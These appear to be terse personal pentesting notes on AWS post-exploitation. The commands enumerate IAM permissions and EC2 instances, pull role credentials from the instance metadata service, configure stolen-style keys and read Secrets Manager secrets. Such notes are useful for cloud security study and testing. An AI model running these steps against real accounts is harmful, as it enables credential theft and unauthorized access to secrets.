Hack. Eat. Sleep. Repeat!!!
./enumerate-iam.py --access-key AKIA --secret-key 6Zl97e
describe_tags and describe_instances permissions which can allow instances enumeration.Note tht you have to specify the region to get more info on instances.e.gaws ec2 describe-instances --region us-east-1 --profile <p> | jq
aws ec2 describe-instances --region us-east-1 --profile bob --query "Reservations[*].Instances[*].[InstanceId,PublicIpAddress]" | jq
According to the docs,
--attributecan date more values but userData fits our prescriptionaws ec2 describe-instance-attribute --instance-id i-* --attribute userData --region us-east-1 --profile bob | jq
IMDS->
Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an IAM Role is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.
#role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
#credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/
Long-term and short-term ones.# long
export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE
export AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM
# short
export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE
export AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM
export AWS_SESSION_TOKEN=EXAMPLEEXAMPLEEXAMPLE...<snip>
aws configure --profile <p>. Note it us-east-1aws lambda list-functions
aws secretsmanager list-secrets --profile root
aws secretsmanager get-secret-value --secret-id "secretName"